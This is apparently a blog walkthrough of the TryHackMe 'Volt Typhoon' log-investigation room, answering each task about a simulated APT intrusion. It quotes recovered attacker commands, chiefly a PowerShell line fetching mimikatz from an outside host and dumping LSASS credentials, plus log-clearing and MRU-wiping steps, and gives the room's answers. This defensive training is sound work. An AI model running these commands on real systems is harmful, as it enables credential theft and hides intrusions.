Sitemap
Corlis

Corlis

Structure of writeups will vary depending on how much sleep I got.

TryHackMe — Volt Typhoon (THM)

6 min readJun 6, 2026

--

Press enter or click to view image in full size

Task 2 Initial Access:

Comb through the ADSelfService Plus logs to begin retracing the attacker’s steps. At what time (ISO 8601 format) was Dean’s password changed and their account taken over by the attacker?

Since we are focusing on the accoutn of dean, let’s filter it. I also filtered for events that was completed.

Press enter or click to view image in full size

On one of the completed events there is a “Password Change”.

Press enter or click to view image in full size

Answer: 2024–03–24T11:10:22

Shortly after Dean’s account was compromised, the attacker created a new administrator account. What is the name of the new account that was created?

So now is to filter our for the username for the new account.

Press enter or click to view image in full size

We can see the action_name “Enrollment”.

Press enter or click to view image in full size

Answer: voltyp-admin

Task 3 Execution:

“Volt Typhoon is known to exploit Windows Management Instrumentation Command-line (WMIC) for a range of execution techniques. They leverage WMIC for tasks such as gathering information and dumping valuable databases, allowing them to infiltrate and exploit target networks. By using “living off the land” binaries (LOLBins), they blend in with legitimate system activity, making detection more challenging.”

Knowing that they exploit wmic, let’s filter for it.

In an information gathering attempt, what command does the attacker run to find information about local drives on server01 & server02?

We know that the attack occured during the 24 and the server names.

Press enter or click to view image in full size

Answer: wmic /node:server01, server02 logicaldisk get caption, filesystem, freespace, size, volumename

The attacker uses ntdsutil to create a copy of the AD database. After moving the file to a web server, the attacker compresses the database. What password does the attacker set on the archive?

Press enter or click to view image in full size

So now we know the name of the file “cisco-up.7z”.

Press enter or click to view image in full size

Answer: d5ag0nm@5t3r

Task 4 Persistence

“Our target APT frequently employs web shells as a persistence mechanism to maintain a foothold. They disguise these web shells as legitimate files, enabling remote control over the server and allowing them to execute commands undetected.”

Checking the known web shell files that volt typoon uses on Mitre.

Press enter or click to view image in full size
Press enter or click to view image in full size

Answer: C:\Windows\Temp\

Task 5 Defense Evasion

“Volt Typhoon utilizes advanced defense evasion techniques to significantly reduce the risk of detection. These methods encompass regular file purging, eliminating logs, and conducting thorough reconnaissance of their operational environment.”

In an attempt to begin covering their tracks, the attackers remove evidence of the compromise. They first start by wiping RDP records. What PowerShell cmdlet does the attacker use to remove the “Most Recently Used” record?

Press enter or click to view image in full size

We can see that some commands were to remove “MRU”.

Press enter or click to view image in full size

Answer: Remove-ItemProperty

The APT continues to cover their tracks by renaming and changing the extension of the previously created archive. What is the file name (with extension) created by the attackers?

Pretty much to just focus on the zip file for filtering.

Press enter or click to view image in full size

Answer: cl64.gif

Under what regedit path does the attacker check for evidence of a virtualized environment?

Press enter or click to view image in full size

Answer: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control

Task 6 Credential Access

“Volt Typhoon often combs through target networks to uncover and extract credentials from a range of programs. Additionally, they are known to access hashed credentials directly from system memory.”

Using reg query, Volt Typhoon hunts for opportunities to find useful credentials. What three pieces of software do they investigate?
Answer Format: Alphabetical order separated by a comma and space.

I made a new field that extract the whole command line.

Press enter or click to view image in full size

Answer: OpenSSH, putty, realvnc

What is the full decoded command the attacker uses to download and run mimikatz?

I just filtered for “hidden” and “bypass” which are usually used for hiding the execution of the command from the user.

Press enter or click to view image in full size
Press enter or click to view image in full size

Answer: Invoke-WebRequest -Uri “http://voltyp.com/3/tlz/mimikatz.exe" -OutFile “C:\Temp\db2\mimikatz.exe”; Start-Process -FilePath “C:\Temp\db2\mimikatz.exe” -ArgumentList @(“sekurlsa::minidump lsass.dmp”, “exit”) -NoNewWindow -Wait

Task 7 Discovery & Lateral Movement

“Discovery- Volt Typhoon uses enumeration techniques to gather additional information about network architecture, logging mechanisms, successful logins, and software configurations, enhancing their understanding of the target environment for strategic purposes.

Get Corlis’s stories in your inbox

Join Medium for free to get updates from this writer.

Lateral Movement- The APT has been observed moving previously created web shells to different servers as part of their lateral movement strategy. This technique facilitates their ability to traverse through networks and maintain access across multiple systems.”

The attacker uses wevtutil, a log retrieval tool, to enumerate Windows logs. What event IDs does the attacker search for?
Answer Format: Increasing order separated by a space.

Press enter or click to view image in full size

Looks like they were looking for events for successful logins, failed logins, and kerberos events.

Answer: 4624 4625 4769

Moving laterally to server-02, the attacker copies over the original web shell. What is the name of the new web shell that was created?

We already know the name of the webshell earlier which was iisstart.aspx

Press enter or click to view image in full size

Answer: AuditReport.jspx

Task 8 Collection

“During the collection phase, Volt Typhoon extracts various types of data, such as local web browser information and valuable assets discovered within the target environment.”

The attacker is able to locate some valuable financial information during the collection phase. What three files does Volt Typhoon make copies of using PowerShell?
Answer Format: Increasing order separated by a space.

From looking at logs earlier I remeber seeing a path with “Finance” on it.

Press enter or click to view image in full size

Answer: 2022.csv 2023.csv 2024.csv

Task 9 C2 & Cleanup

C2 — Volt Typhoon utilizes publicly available tools as well as compromised devices to establish discreet command and control (C2) channels.

Cleanup — To cover their tracks, the APT has been observed deleting event logs and selectively removing other traces and artifacts of their malicious activities.

Press enter or click to view image in full size

Answer: 10.2.30.1 8443

To conceal their activities, what are the four types of event logs the attacker clears on the compromised system?

Looking back in MITRE we can see that they use a tool called Wevtutil for clearing event logs.

Press enter or click to view image in full size

Looks like the clear command is “cl”

Press enter or click to view image in full size
Press enter or click to view image in full size

Answer: Application Security Setup System

Press enter or click to view image in full size
Corlis
Corlis

Written by Corlis

Structure of writeups will vary depending on how much sleep I got.